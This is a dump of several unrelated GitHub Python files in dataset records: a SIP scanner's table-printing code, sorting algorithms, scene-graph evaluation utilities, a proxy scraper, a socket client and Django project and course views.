self.c.BWHITE + 'User-Agent'.ljust(ualen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Type'.ljust(tplen) + self.c.WHITE + ' |')\n        print(self.c.WHITE + ' ' + '-' * tlen)\n\n        if self.ofile != '':\n            f = open(self.ofile, 'a+')\n\n            f.write(' ' + '-' * tlen)\n            f.write('\\n')\n            if self.fp == 1:\n                f.write('| IP address'.ljust(iplen) +\n                        ' | Port'.ljust(polen) +\n                        ' | Proto'.ljust(prlen) +\n                        ' | Response'.ljust(relen) +\n                        ' | User-Agent'.ljust(ualen) +\n                        ' | Type'.ljust(tplen) +\n                        ' | Fingerprinting'.ljust(fplen) + ' |')\n            else:\n                f.write('| IP address'.ljust(iplen) +\n                        ' | Port'.ljust(polen) +\n                        ' | Proto'.ljust(prlen) +\n                        ' | Response'.ljust(relen) +\n                        ' | User-Agent'.ljust(ualen) +\n                        ' | Type'.ljust(tplen) + ' |')\n            f.write('\\n')\n            f.write(' ' + '-' * tlen)\n            f.write('\\n')\n\n        if len(self.found) == 0:\n            print(self.c.WHITE + '| ' + self.c.WHITE +\n                  'Nothing found'.ljust(tlen-2) + ' |')\n\n            if self.ofile != '':\n                f.write('| Nothing found'.ljust(tlen-2) + ' |')\n                f.write('\\n')\n        else:\n            for x in self.found:\n                (ip, port, proto, res, ua, type, fp) = x.split('###')\n\n                if self.fp == 1:\n                    print(self.c.WHITE +\n                          '| ' + self.c.BGREEN + '%s' % ip.ljust(iplen) + self.c.WHITE +\n                          ' | ' + self.c.GREEN + '%s' % port.ljust(polen) + self.c.WHITE +\n                          ' | ' + self.c.GREEN + '%s' % proto.ljust(prlen) + self.c.WHITE +\n                          ' | ' + self.c.BLUE + '%s' % res.ljust(relen) + self.c.WHITE +\n                          ' | ' + self.c.YELLOW + '%s' % ua.ljust(ualen) + self.c.WHITE +\n                          ' | ' + self.c.CYAN + '%s' % type.ljust(tplen) + self.c.WHITE +\n                          ' | ' + self.c.GREEN + '%s' % fp.ljust(fplen) + self.c.WHITE + ' |')\n\n                    if self.ofile != '':\n                        f.write('| %s' % ip.ljust(iplen) +\n                                ' | %s' % port.ljust(polen) +\n                                ' | %s' % proto.ljust(prlen) +\n                                ' | %s' % res.ljust(relen) +\n                                ' | %s' % ua.ljust(ualen) +\n                                ' | %s' % type.ljust(tplen) +\n                                ' | %s' % fp.ljust(fplen) + ' |')\n                        f.write('\\n')\n                else:\n                    print(self.c.WHITE +\n                          '| ' + self.c.BGREEN + '%s' % ip.ljust(iplen) + self.c.WHITE +\n                          ' | ' + self.c.GREEN + '%s' % port.ljust(polen) + self.c.WHITE +\n                          ' | ' + self.c.GREEN + '%s' % proto.ljust(prlen) + self.c.WHITE +\n                          ' | ' + self.c.BLUE + '%s' % res.ljust(relen) + self.c.WHITE +\n                          ' | ' + self.c.YELLOW + '%s' % ua.ljust(ualen) + self.c.WHITE +\n                          ' | ' + self.c.CYAN + '%s' % type.ljust(tplen) + self.c.WHITE + ' |')\n\n                    if self.ofile != '':\n                        f.write('| %s' % ip.ljust(iplen) +\n                                ' | %s' % port.ljust(polen) +\n                                ' | %s' % proto.ljust(prlen) +\n                                ' | %s' % res.ljust(relen) +\n                                ' | %s' % ua.ljust(ualen) +\n                                ' | %s' % type.ljust(tplen) + ' |')\n                        f.write('\\n')\n\n        print(self.c.WHITE + ' ' + '-' * tlen)\n        print(self.c.WHITE)\n\n        if self.ofile != '':\n            f.write(' ' + '-' * tlen)\n            f.write('\\n\\n')\n\n            f.close()\n\n        self.found.clear()\n","repo_name":"wesam1991/wesam","sub_path":"modules/sipscan.py","file_name":"sipscan.py","file_ext":"py","file_size_in_byte":21144,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"23173264715","text":"class SortNums():\n    def __init__(self):\n        pass\n\n    def BubbleSort(self, nums):\n        for i in range(1, len(nums)):\n            for j in range(len(nums) - i):\n                if nums[j] > nums[j + 1]:\n                    nums[j], nums[j + 1] = nums[j + 1], nums[j]\n        return nums\n\n    def SelectSort(self, nums):\n        for i in range(len(nums)-1):\n            min_idx = i\n            for j in range(i+1, len(nums)):\n                if nums[min_idx] > nums[j]:\n                    min_idx = j\n            if min_idx != i:\n                nums[min_idx], nums[i] = nums[i], nums[min_idx]\n        return nums\n\n\n    def InsertSort(self, nums):\n        for i in range(len(nums)):\n            preidx = i - 1\n            cur = nums[i]\n            while preidx >= 0 and nums[preidx] >= cur:\n                nums[preidx+1] = nums[preidx]\n                preidx -= 1\n            nums[preidx+1] = cur\n        return nums\n\n\n    def ShellSort(self, nums):\n        gap = 1\n        while gap < len(nums) // 3:\n            gap = gap * 3 + 1\n        while gap:\n            for i in range(gap, len(nums)):\n                preidx = i - gap\n                cur = nums[i]\n                while preidx >= 0 and nums[preidx] >= cur:\n                    nums[preidx+gap] = nums[preidx]\n                    preidx -= gap\n                nums[preidx+gap] = cur\n            gap //= 3\n        return nums\n\n\n    def MergeSort(self, nums):\n        if len(nums) < 2:\n            return nums\n        middle = len(nums)//2\n        left, right = nums[:middle], nums[middle:]\n        return self.merge(self.MergeSort(left), self.MergeSort(right))\n\n    def merge(self, left, right):\n        res = []\n        while left and right:\n            if left[0] <= right[0]:\n                res.append(left.pop(0))\n            else:\n                res.append(right.pop(0))\n        while left:\n            res.append(left.pop(0))\n        while right:\n            res.append(right.pop(0))\n        return res\n\n\n\n    def QuickSort(self, nums):\n        return self.Qsort(nums, 0, len(nums)-1)\n\n    def Qsort(self, nums, low, high):\n        if low < high:\n            pivot = self.Partition(nums, low, high)\n            self.Qsort(nums, low, pivot-1)\n            self.Qsort(nums, pivot+1, high)\n        return nums\n\n    def Partition(self, nums, low, high):\n        pivot = nums[low]\n        while low < high:\n            while low < high and nums[high] >= pivot:\n                high -= 1\n            nums[low] = nums[high]\n            while low < high and nums[low] <= pivot:\n                low += 1\n            nums[high] = nums[low]\n        nums[low] = pivot\n        return low\n\n\n\n\n    def BuildMaxHeap(self, nums):\n        for i in range(len(nums)//2, -1, -1):\n            self.heapify(nums, i)\n\n    def heapify(self, nums, i):\n        left = 2 * i + 1\n        right = 2 * i + 2\n        largest = i\n        while left < numsLen and nums[left] > nums[largest]:\n            largest = left\n        while right < numsLen and nums[right] > nums[largest]:\n            largest = right\n        if largest != i:\n            self.swap(nums, i, largest)\n            self.heapify(nums, largest)\n\n    def swap(self, nums, i, j):\n        nums[i], nums[j] = nums[j], nums[i]\n\n    def HeapSort(self, nums):\n        global numsLen\n        numsLen = len(nums)\n        self.BuildMaxHeap(nums)\n        for i in range(numsLen-1, 0, -1):\n            self.swap(nums, i, 0)\n            numsLen -= 1\n            self.heapify(nums, 0)\n        return nums\n\n\n    def CountSort(self, nums):\n        bucketLen = max(nums) + 1\n        bucket = [0] * bucketLen\n        sort_idx = 0\n        for i in range(len(nums)):\n            bucket[nums[i]] += 1\n        for j in range(bucketLen):\n            while bucket[j] > 0:\n                nums[sort_idx] = j\n                sort_idx += 1\n                bucket[j] -= 1\n        return nums\n\n\n    def RidxSort(self, nums):\n        digit = 0\n        max_digit = 1\n        max_val = max(nums)\n\n        while 10**max_digit < max_val:\n            max_digit += 1\n\n        while digit < max_digit:\n            tmp = [[] for _ in range(10)]\n            for i in nums:\n                t = i // 10 ** digit % 10\n                tmp[t].append(i)\n            new_nums = []\n            for bucket in tmp:\n                for i in bucket:\n                    new_nums.append(i)\n            nums = new_nums\n            digit += 1\n        return nums\n\n\n\nmodel = SortNums()\n# nums = [81, 94, 11, 96, 12, 35, 17, 95, 28, 58, 41, 75, 15]\nnums = [i for i in range(1000, -1, -1)]\n\nimport time\n\nt1 = time.time()\nprint(model.BubbleSort(nums))\nprint('BubbleSort:', time.time()-t1)\n\nt2 = time.time()\nprint(model.SelectSort(nums))\nprint('SelectSort:', time.time()-t2)\n\nt3 = time.time()\nprint(model.InsertSort(nums))\nprint('InsertSort:', time.time()-t3)\n\nt4 = time.time()\nprint(model.ShellSort(nums))\nprint('ShellSort:', time.time()-t4)\n\nt5 = time.time()\nprint(model.MergeSort(nums))\nprint(time.time() - t5)\n\nt6 = time.time()\nprint(model.QuickSort(nums))\nprint(time.time() - t6)\n\nt7 = time.time()\nprint(model.HeapSort(nums))\nprint(time.time() - t7)\n\nt8 = time.time()\nprint(model.CountSort(nums))\nprint(time.time() - t8)\n\nt9 = time.time()\nprint(model.RidxSort(nums))\nprint(time.time() - t9)\n","repo_name":"quantbruce/leetcode_test","sub_path":"十大经典排序算法/10_排序汇总.py","file_name":"10_排序汇总.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38247823038","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\nimport json\n\ndef get_gt(objs_target, rels_target, edges, multi_rel_outputs):\n    gt_edges = []\n    for edge_index in range(len(edges)):\n        idx_eo = edges[edge_index][0]\n        idx_os = edges[edge_index][1]\n        target_eo = objs_target[idx_eo]\n        target_os = objs_target[idx_os]\n        target_rel = []\n        if multi_rel_outputs:\n            assert rels_target.ndim == 2\n            for i in range(rels_target.shape[-1]):\n                if rels_target[edge_index][i] == 1:\n                    target_rel.append(i)\n        else:\n            assert rels_target.ndim == 1\n            if rels_target[edge_index] > 0: # not None\n                target_rel.append(rels_target[edge_index])\n        gt_edges.append((target_eo, target_os, target_rel))\n    return gt_edges\n\n\ndef evaluate_topk_object(objs_pred, objs_target, topk):\n    res = []\n    for obj in range(len(objs_pred)):\n        obj_pred = objs_pred[obj]\n        sorted_idx = torch.sort(obj_pred, descending=True)[1]\n        gt = objs_target[obj]\n        index = 1\n        for idx in sorted_idx:\n            if obj_pred[gt] >= obj_pred[idx] or index > topk:\n                break\n            index += 1\n        res.append(index)\n    return np.asarray(res)\n\n\ndef evaluate_topk_predicate(rels_preds, gt_edges, multi_rel_outputs, topk, confidence_threshold=0.5, epsilon=0.02):\n    res = []\n    for rel in range(len(rels_preds)):\n        rel_pred = rels_preds[rel]\n        # make the 'none' confidence the highest, if none of the rel classes are bigger than confidence_threshold\n        # which means 'none' prediction in the multi binary cross entropy approach.\n        # if multi_rel_outputs:\n        #     if rel_pred.max() < confidence_threshold:\n        #         rel_pred[0] = rel_pred.max() + epsilon\n        \n        sorted_conf_matrix, sorted_idx = torch.sort(rel_pred, descending=True)\n        temp_topk = []\n        rels_target = gt_edges[rel][2]\n        \n        if len(rels_target) == 0: # no gt relation\n            indices = torch.where(sorted_conf_matrix < confidence_threshold)[0]\n            if len(indices) == 0:\n                index = topk + 1\n            else:\n                index = sorted(indices)[0].item()+1\n            \n            temp_topk.append(index)\n\n        for gt in rels_target:\n            index = 1\n            for idx in sorted_idx:\n                if rel_pred[gt] >= rel_pred[idx] or index > topk:\n                    break\n                index += 1\n            temp_topk.append(index)\n        \n        temp_topk = sorted(temp_topk)\n        counter = 0\n        for tmp in temp_topk:\n            res.append(tmp - counter)\n            counter += 1\n        #res += temp_topk\n    return np.asarray(res)\n\n\ndef evaluate_topk(objs_pred, rels_pred, gt_rel, edges, multi_rel_outputs, topk, confidence_threshold=0.5, epsilon=0.02):\n    res, cls = [], []\n    # convert the score from log_softmax to softmax\n    objs_pred = np.exp(objs_pred)\n    if not multi_rel_outputs:\n        rels_pred = np.exp(rels_pred)\n    \n    for edge in range(len(edges)):\n        edge_from = edges[edge][0]\n        edge_to = edges[edge][1]\n        rel_predictions = rels_pred[edge]\n        obj = objs_pred[edge_from]\n        sub = objs_pred[edge_to]\n\n        # make the 'none' confidence the highest, if none of the rel classes are bigger than confidence_threshold\n        # which means 'none' prediction in the multi binary cross entropy approach.\n        # if multi_rel_outputs:\n        #     if rel_predictions.max() < confidence_threshold:\n        #         rel_predictions[0] = rel_predictions.max() + epsilon\n\n        size_o = len(obj)\n        size_r = len(rel_predictions)\n\n        node_score = np.matmul(obj.reshape(size_o, 1), sub.reshape(1, size_o))\n        conf_matrix = np.matmul(node_score.reshape(size_o, size_o, 1), rel_predictions.reshape(1, size_r))\n        conf_matrix_1d = conf_matrix.reshape(-1)\n        sorted_args_1d = torch.sort(conf_matrix_1d, descending=True)[1]\n\n        subject = gt_rel[edge][0]\n        obj = gt_rel[edge][1]\n        temp_topk, tmp_cls = [], []\n\n        for predicate in gt_rel[edge][2]:\n            index = 1\n            for idx_1d in sorted_args_1d:\n                idx = np.unravel_index(idx_1d, (size_o, size_o, size_r))\n                gt_conf = conf_matrix[subject, obj, predicate]\n                if gt_conf >= conf_matrix[idx] or index > topk:\n                    break\n                index += 1\n            temp_topk.append(index)\n            tmp_cls.append(predicate)\n        \n        temp_topk = sorted(temp_topk)\n        counter = 0\n        for tmp in temp_topk:\n            assert (tmp - counter) > 0\n            res.append(tmp - counter)\n            counter += 1\n        #res += temp_topk\n        cls += tmp_cls\n    \n    return np.asarray(res), np.array(cls)\n\n\ndef evaluate_triplet_topk(objs_pred, rels_pred, gt_rel, edges, multi_rel_outputs, topk, confidence_threshold=0.5, epsilon=0.02, use_clip=False, obj_topk=None):\n    res, triplet = [], []\n    if not use_clip:\n        # convert the score from log_softmax to softmax\n        objs_pred = np.exp(objs_pred)\n    else:\n        # convert the score to softmax\n        objs_pred = F.softmax(objs_pred, dim=-1)\n    \n    if not multi_rel_outputs:\n        rels_pred = np.exp(rels_pred)\n\n    sub_scores, obj_scores, rel_scores = [],  [],  []\n    \n    for edge in range(len(edges)):\n        edge_from = edges[edge][0]\n        edge_to = edges[edge][1]\n        rel_predictions = rels_pred[edge]\n        sub = objs_pred[edge_from]\n        obj = objs_pred[edge_to]\n        \n        if obj_topk is not None:\n            sub_pred = obj_topk[edge_from]\n            obj_pred = obj_topk[edge_to]\n\n        node_score = torch.einsum('n,m->nm',sub,obj)\n        conf_matrix = torch.einsum('nl,m->nlm',node_score,rel_predictions)\n        conf_matrix_1d = conf_matrix.reshape(-1)\n        sorted_conf_matrix, sorted_args_1d = torch.sort(conf_matrix_1d, descending=True)\n        \n        # just take topk\n        sorted_conf_matrix = sorted_conf_matrix[:topk]\n        sorted_args_1d = sorted_args_1d[:topk]\n\n        sub_gt= gt_rel[edge][0]\n        obj_gt = gt_rel[edge][1]\n        rel_gt = gt_rel[edge][2]\n        temp_topk, tmp_triplet = [], []\n\n        if len(rel_gt) == 0: # no gt relation\n            indices = torch.where(sorted_conf_matrix < confidence_threshold)[0]\n            if len(indices) == 0:\n                index = topk + 1\n            else:\n                index = sorted(indices)[0].item()+1\n            temp_topk.append(index)\n            if obj_topk is not None:\n                tmp_triplet.append([sub_gt.cpu(),sub_pred, obj_gt.cpu(), obj_pred, -1])\n            else:\n                tmp_triplet.append([sub_gt.cpu(),obj_gt.cpu(),-1])\n        \n        for predicate in rel_gt: # for multi class case\n            gt_conf = conf_matrix[sub_gt, obj_gt, predicate]\n            indices = torch.where(sorted_conf_matrix == gt_conf)[0]\n            if len(indices) == 0:\n                index = topk + 1\n            else:\n                index = sorted(indices)[0].item()+1\n            temp_topk.append(index)\n            if obj_topk is not None:\n                tmp_triplet.append([sub_gt.cpu(),sub_pred, obj_gt.cpu(), obj_pred, predicate])\n            else:\n                tmp_triplet.append([sub_gt.cpu(), obj_gt.cpu(), predicate])\n            \n            sub_scores.append(sub)\n            obj_scores.append(obj)\n            rel_scores.append(rel_predictions)\n            \n   \n        temp_topk = sorted(temp_topk)\n        counter = 0\n        for tmp in temp_topk:\n            res.append(tmp - counter)\n            counter += 1\n        triplet += tmp_triplet\n    \n    return np.asarray(res), np.array(triplet), sub_scores, obj_scores, rel_scores\n\n\ndef evaluate_topk_recall(objs_pred, rels_pred, objs_target, rels_target, edges):\n    top_k_obj = evaluate_topk_object(objs_pred, objs_target, topk=10)\n    gt_edges = get_gt(objs_target, rels_target, edges, topk=10)\n    top_k_predicate = evaluate_topk_predicate(rels_pred, gt_edges, multi_rel_outputs=True, topk=5)\n    top_k = evaluate_triplet_topk(objs_pred, rels_pred, rels_target, edges, multi_rel_outputs=True, topk=100)\n    return top_k, top_k_obj, top_k_predicate\n\n\ndef get_mean_recall(triplet_rank, cls_matrix, topk=[50, 100]):\n    if len(cls_matrix) == 0:\n        return np.array([0,0])\n\n    mean_recall = [[] for _ in range(len(topk))]\n    cls_num = int(cls_matrix.max())\n    for i in range(cls_num):\n        cls_rank = triplet_rank[cls_matrix[:,-1] == i]\n        if len(cls_rank) == 0:\n            continue\n        for idx, top in enumerate(topk):\n            mean_recall[idx].append((cls_rank <= top).sum() * 100 / len(cls_rank))\n    mean_recall = np.array(mean_recall, dtype=np.float32)\n    return mean_recall.mean(axis=1)\n\n\ndef read_txt_to_list(file):\n    output = [] \n    with open(file, 'r') as f: \n        for line in f: \n            entry = line.rstrip().lower() \n            output.append(entry) \n    return output\n\n\ndef read_json(split):\n    \"\"\"\n    Reads a json file and returns points with instance label.\n    \"\"\"\n    selected_scans = set()\n    if split == 'train' :\n        selected_scans = selected_scans.union(read_txt_to_list('/data/wangziqin/project/3DSSG_Repo/data/3DSSG_subset/train_scans.txt'))\n        with open(\"/data/wangziqin/project/3DSSG_Repo/data/3DSSG_subset/relationships_train.json\", \"r\") as read_file:\n            data = json.load(read_file)\n    elif split == 'val':\n        selected_scans = selected_scans.union(read_txt_to_list('/data/wangziqin/project/3DSSG_Repo/data/3DSSG_subset/validation_scans.txt'))\n        with open(\"/data/wangziqin/project/3DSSG_Repo/data/3DSSG_subset/relationships_validation.json\", \"r\") as read_file:\n            data = json.load(read_file)\n    else:\n        raise RuntimeError('unknown split type:',split)\n\n    return data\n\ndef get_zero_shot_recall(triplet_rank, cls_matrix, obj_names, rel_name):\n   \n    train_data = read_json('train')\n    scene_data = dict()\n    for i in train_data['scans']:\n        objs = i['objects']\n        for rel in i['relationships']:\n            if str(rel[0]) not in objs.keys():\n                #print(f'{rel[0]} not in objs in scene {i[\"scan\"]} split {i[\"split\"]}')\n                continue\n            if str(rel[1]) not in objs.keys():\n                #print(f'{rel[1]} not in objs in scene {i[\"scan\"]} split {i[\"split\"]}')\n                continue\n            triplet_name = str(obj_names.index(objs[str(rel[0])])) + ' ' + str(obj_names.index(objs[str(rel[1])])) + ' ' + str(rel_name.index(rel[-1]))\n            if triplet_name not in scene_data.keys():\n                scene_data[triplet_name] = 1\n            scene_data[triplet_name] += 1\n    \n    val_data = read_json('val')\n    zero_shot_triplet = []\n    count = 0\n    for i in val_data['scans']:\n        objs = i['objects']\n        for rel in i['relationships']:\n            count += 1\n            triplet_name = str(obj_names.index(objs[str(rel[0])])) + ' ' + str(obj_names.index(objs[str(rel[1])])) + ' ' + str(rel_name.index(rel[-1]))\n            if triplet_name not in scene_data.keys():\n                zero_shot_triplet.append(triplet_name)\n    \n    # get valid triplet which not appears in train data\n    valid_triplet = []\n    non_zero_shot_triplet = []\n    all_triplet = []\n\n    for i in range(len(cls_matrix)):\n        if cls_matrix[i, -1] == -1:\n            continue\n        if len(cls_matrix[i]) == 5:\n            triplet_name = str(cls_matrix[i][0]) + ' ' + str(cls_matrix[i][2]) + ' ' + str(cls_matrix[i][-1])\n        elif len(cls_matrix[i]) == 3:\n            triplet_name = str(cls_matrix[i][0]) + ' ' + str(cls_matrix[i][1]) + ' ' + str(cls_matrix[i][-1])\n        else:\n            raise RuntimeError('unknown triplet length:', len(cls_matrix[i]))\n\n        if triplet_name in zero_shot_triplet:\n            valid_triplet.append(triplet_rank[i])\n        else:\n            non_zero_shot_triplet.append(triplet_rank[i])\n        \n        all_triplet.append(triplet_rank[i])\n    \n    valid_triplet = np.array(valid_triplet)\n    non_zero_shot_triplet = np.array(non_zero_shot_triplet)\n    all_triplet = np.array(all_triplet)\n\n    zero_shot_50 = (valid_triplet <= 50).mean() * 100\n    zero_shot_100 = (valid_triplet <= 100).mean() * 100\n\n    non_zero_shot_50 = (non_zero_shot_triplet <= 50).mean() * 100\n    non_zero_shot_100 = (non_zero_shot_triplet <= 100).mean() * 100\n\n    all_50 = (all_triplet <= 50).mean() * 100\n    all_100 = (all_triplet <= 100).mean() * 100\n\n    return (zero_shot_50, zero_shot_100), (non_zero_shot_50, non_zero_shot_100), (all_50, all_100)\n\n    \n","repo_name":"wz7in/CVPR2023-VLSAT","sub_path":"src/utils/eva_utils_acc.py","file_name":"eva_utils_acc.py","file_ext":"py","file_size_in_byte":12631,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"60"}
+{"seq_id":"70368370113","text":"import sys\nimport numpy as np\nimport os\nimport subprocess as sp\nimport csv\n\nbinary_file = '/home/milena/megasync/masters_thesis/genome_sets_for_evaluation/single_STs/ST_48_results/bootstrap_matrices/gene_presence_absence.Rtab'\n\n\n# number of bootstrap matrices to create\nn = 10\n\nfor i in range(1,n):\n    out_directory = binary_file.split('.Rtab')[0]+'bootstrap_'+str(i)+'.Rtab'\n\n    binary_array = np.loadtxt(binary_file, delimiter = '\\t', dtype=str)\n    index_columns = np.arange(len(binary_array[0]))\n\n    # random.shuffle manipulates the existing matrix, doesn't return a new variable\n    np.random.shuffle(index_columns)\n    index_columns = list(index_columns)\n\n    # swap the first column index back to the beginning\n    nr_at_one = index_columns[0]\n    ind_of_first =  index_columns.index(0)\n    index_columns[ind_of_first] = nr_at_one\n    index_columns[0] = 0\n\n    # reshuffle binary_array by column\n    binary_array_remixed = binary_array[:,index_columns]\n\n    # save array\n    #binary_array_remixed.tofile(out_directory, sep = '\\t')\n    binary_list = list(binary_array_remixed)\n    with open(out_directory, 'w+') as binary_out_file:\n        for i, line in enumerate(binary_list):\n            binary_out_file.write('\\t'.join(line)+'\\n')\n    print('new binary matrix: '+out_directory)","repo_name":"milena-t/MSc_thesis","sub_path":"roary_out_analysis/reshuffle_binary_matrix.py","file_name":"reshuffle_binary_matrix.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34993560656","text":"#!/usr/bin/env python\n# encoding=utf-8\nimport socket\n\nHOST, PORT = SERVER_ADDRESS = ('localhost', 9999)\n\n\ndef rpc_client():\n    \"\"\"\n    rpc客户端\n    \"\"\"\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect(ADDRESS)\n    sock.send(b\"this is request from rpc_client\")\n\n    result = sock.recv(1024)\n    print(result)\n    sock.close()\n\n\nif __name__ == \"__main__\":\n    rpc_client()\n","repo_name":"zhwindy/py-rpc","sub_path":"simpleServer/socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"71308463870","text":"import requests\nfrom lxml.html import fromstring\nimport random\n\n\ndef get_proxies(url, proxies_n):\n    response = requests.get(url)\n    parser = fromstring(response.text)\n    proxies = set()\n    for i in parser.xpath('//tbody/tr')[:proxies_n]:\n        if i.xpath('.//td[7][contains(text(),\"yes\")]'):\n            proxy = \":\".join([i.xpath('.//td[1]/text()')[0], i.xpath('.//td[2]/text()')[0]])\n            proxies.add(proxy)\n            \n    return list(proxies)\n\n\ndef get_proxy(url, proxies, timeout):\n    while True:\n        idx_proxy = random.randrange(len(proxies))\n        proxy = proxies[idx_proxy]\n        try:\n            response = requests.get(url, proxies={\"http\": proxy, \"https\": proxy}, timeout=timeout)\n            print(response.json())\n            return proxy\n        except:\n            print(\"Skipping. Connnection error or timeout\")","repo_name":"baueraj/data_love_of_wisdom","sub_path":"funcs_proxy.py","file_name":"funcs_proxy.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36931963895","text":"# coding=utf-8\n\"\"\"\n\n\"\"\"\nfrom rest_framework import exceptions\nfrom crams_member.models import ProjectMemberStatus, ProjectJoinInviteRequest\n\n\ndef update_project_members_for_new_project_contact(current_cls, param_dict):\n    \"\"\"\n    used post: project serializer update project contact\n    \"\"\"\n    self_name = 'update_project_members_for_new_project_contact'\n    project_data = param_dict.get('project_data')\n    if not project_data:\n        raise exceptions.ValidationError(self_name + ' aspect requires project data dict')\n\n    project_contact_obj_list = param_dict.get('project_contact_obj_list')\n    if not project_contact_obj_list:\n        raise exceptions.ValidationError(self_name + ' aspect requires project contact object list')\n\n    current_user = project_data.get('current_user')\n    if not current_user:\n        raise exceptions.ValidationError(self_name + ' aspect requires current user object')\n\n    current_project = project_data.get('project_obj')\n    if not current_user:\n        raise exceptions.ValidationError(self_name + ' aspect requires current user object')\n\n    # existing_project_instance can be null\n    existing_project_instance = project_data.get('existing_project_instance')\n\n    # get and update the project contacts in the corresponding ProjectJoinInviteRequest\n    prj_jn_inv_req = ProjectJoinInviteRequest.objects.filter(project=current_project)\n    for project_contact_obj in project_contact_obj_list:\n        project = project_contact_obj.project\n        contact_obj = project_contact_obj.contact\n\n        if existing_project_instance:\n            member_exists = False\n            member_status = ProjectMemberStatus.objects.get(code='M')\n\n            # if project and existing_project_instance are the same then we are doing a update\n            # if they are different we are moving to a new status skip if not updating\n            if project.id == existing_project_instance.id:\n                # loop through the membership join invites req for user and make them a member\n                for prj_member in prj_jn_inv_req:\n                    if prj_member.contact == contact_obj:\n                        # activate membership status\n                        prj_member.status = member_status\n                        prj_member.updated_by = current_user\n                        prj_member.save()\n                        member_exists = True\n                        break\n                # member not found in the loop we create a new one\n                if not member_exists:\n                    prj_member = ProjectJoinInviteRequest()\n                    prj_member.project = project\n                    prj_member.status = member_status\n                    prj_member.contact = contact_obj\n                    prj_member.title = contact_obj.title\n                    prj_member.surname = contact_obj.surname\n                    prj_member.given_name = contact_obj.given_name\n                    prj_member.email = contact_obj.email\n                    prj_member.created_by = current_user\n                    prj_member.save()\n\n    # loop through the membership for removed uses from project\n    # if contact is not in project_contacts revoke their membership\n    #  skip this next process if not updating existing status\n\n    if existing_project_instance:\n        if current_project.id == existing_project_instance.id:\n            for prj_member in prj_jn_inv_req:\n                member_exists = False\n                for prj_cont in current_project.project_contacts.all():\n                    if prj_member.contact == prj_cont.contact:\n                        member_exists = True\n                        break\n                # if contact not found in project contact remove membership status\n                if not member_exists:\n                    prj_member.status = ProjectMemberStatus.objects.get(code='V')\n                    prj_member.save()\n\n\ndef update_project_join_invite_request(current_cls, param_dict):\n    \"\"\"\n    used post: project serializer update project\n    Checks if ProjectJoinInviteRequest exists using old project,\n    if found will update from old project to new project.\n    \"\"\"\n    self_name = 'update_project_join_invite_request'\n    existing_project_instance = param_dict.get('existing_project_instance')\n    if not existing_project_instance:\n        raise exceptions.ValidationError(self_name + ' aspect requires existing project instance object')\n\n    saved_project_instance = param_dict.get('saved_project_instance')\n    if not saved_project_instance:\n        raise exceptions.ValidationError(self_name + ' aspect requires new project instance object')\n\n    if saved_project_instance == existing_project_instance:\n        # For application updated status, the no new project is created\n        return\n\n    prj_jn_inv_req_list = ProjectJoinInviteRequest.objects.filter(\n        project=existing_project_instance)\n    for prj_jn_inv_req in prj_jn_inv_req_list:\n        prj_jn_inv_req.project = saved_project_instance\n        prj_jn_inv_req.save()\n","repo_name":"CRAMS-Dashboard/crams-api","sub_path":"crams-apps/crams_member/crams_member/aspects/project_contact.py","file_name":"project_contact.py","file_ext":"py","file_size_in_byte":5021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"72598040191","text":"from django.shortcuts import render,redirect,HttpResponse\nfrom django.http import StreamingHttpResponse,JsonResponse\nfrom django.contrib import messages\nfrom utils.strict_gpt import process_prompt\nfrom utils.getImage import getImage\nfrom utils.generateMCQ import generateQuestion\nfrom utils.searchYoutube import searchYoutube,getCaption\nimport concurrent.futures\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import Course,Unit,Chapter,Question\nimport time \nimport json\nfrom uuid import uuid4\n\ncourses=[]\n\ndef home(req):\n    return render(req,'home.html',{}) \n\ndef allCourses(req):\n    \n    currentUser=req.user\n    if currentUser.is_authenticated:\n\n        courses=Course.objects.filter(userId=currentUser.id)\n        allCourses=[]\n        for course in courses:\n            course={\n                \"id\":course.id,\n                \"image\":course.image,\n                \"name\":course.name\n            }\n            allCourses.append(course)\n\n        return render(req,\"courses.html\",{\"courses\":allCourses})\n    \n    return redirect(\"/login\")\n    \n\n\ndef addCourse(req): \n    if req.method==\"POST\":\n        data=json.loads(req.body.decode(\"utf-8\"))\n        courseName=data.get(\"courseName\")\n        unitNames=data.get(\"units\")\n        req.session[\"courseName\"]=courseName\n        courses.append((courseName,unitNames))\n        return JsonResponse({\"message\":\"done\"})\n\n\ndef streamUnit(req):\n    if (len(courses)!=0):\n        courseName=courses[0][0]\n        unitNames=courses[0][1]\n        units=[]\n        for unit in unitNames:\n            prompt=\"The User wants to learn about \"+ courseName +\". It is your job to create a course only about \"+unit+\", the User has requested to create chapters for each of the units. Then for each chapter, provide a detailed youtube search query that can be used to find informative educational video for each chapter. Each query should give an educational informative course in youtube\"\n            units.append(prompt)\n        \n   \n        courses.pop(0)\n\n        res=StreamingHttpResponse(streamHelper(units),content_type=\"text/event-stream\")\n        \n        return res\n    return render(req,\"addCourse.html\")\n\ndef streamHelper(units):\n\n    with concurrent.futures.ThreadPoolExecutor() as exc:\n        res=[exc.submit(process_prompt,prompt) for prompt in units]\n        for f in concurrent.futures.as_completed(res):\n            \n            data=json.loads(f.result().replace(\"'\",'\"'))\n            print(data)\n            title=data[\"title\"]\n            chapters=data[\"chapters\"]    \n            yield f\"data:{json.dumps({'title': title, 'chapters': chapters})}\\n\\n\"\n        \n\ndef generateCourse(req,courseName):\n    return render(req,\"generateCourse.html\",{\"courseName\":courseName})\n\n\ndef course(req,courseId):\n\n    \n    course=Course.objects.get(id=courseId)\n    